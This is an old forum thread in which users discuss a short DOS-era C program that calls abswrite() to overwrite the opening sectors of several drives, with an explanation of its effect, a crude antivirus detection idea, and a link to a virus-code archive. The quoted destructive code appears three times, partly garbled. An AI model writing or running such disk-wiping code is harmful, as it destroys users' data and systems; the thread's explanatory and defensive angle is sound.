Virus

[polios]

I've seen the command 'abswrite' in many 'viruses' that basically bombard your computer with messages. What exactly does abswrite do(and the all code). Here is an example of how it is used:
#include

main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(*,50,0,vir);
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
printf("FUCK YOU ALL");
printf("The Bomber");
}

[coz]

main()
{
char *vir;
abswrite(0,50,0,vir); //Writes in 0 Drive, 50 Sectors to Write to, 0 is first sector of drive, vir (buffer) used to get char from memory to write
abswrite(*,50,0,vir);
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
printf("FUCK YOU ALL"); // echos "FUCK YOU ALL" to the command prompt
printf("The Bomber"); // echos "The Bomber" to the command prompt
}

It looks to me like, in this case, it writes to five drives in order and copys a random character to 50 sectors at the beginning of drives A-E. In other words it will totally fuck up any disk in drive A or B and make your computer unable to start drives C & D and or E. It looks like a dangerous function to use because it transfers control to the BIOS for it to be performed. Anything that would write to the beginning of a drive cannot be good. But it doesn't look to me like it displays many pop up messages. Certainly not Windows pop ups anyway. Once you restart your computer its probably fryed.:eek:

[polios]

Another problem is how to confront this type of virus.
#include

main()
{
char *vir;
abswrite(0,50,0,vir);
abswrite(*,50,0,vir);
abswrite(2,50,0,vir);
abswrite(*,50,0,vir);
abswrite(4,50,0,vir);
printf("FUCK YOU ALL");
printf("The Bomber");
}


In other words how would be like an antivirus program writed in pseudocode for the code virus above .

[coz]

This is not a virus if all it does is destroy your computer. Just a destructive program. A real time virus scanner/security suite should protect and be able to sense something like this because it is such an important action. But I really don't know. Most virus scanners look for signatures and certain events to happen before alerting the user. Heuristic virus scanning is getting better though. Sorry I can't help more.

[polios]

Is there any s***estion about an interesting virus code in C,already writted with comments, in order to write an antivirus programm based in this code.(home work).

[coz]

An anti virus program could look for the abswrite() function with the *rd argument being anything from 0-5*2.

This site has two very good examples with good comments.
http://vx.netlux.org/lib/vbw06.html

There are hundreds on google.

[eatit007]

old one...very old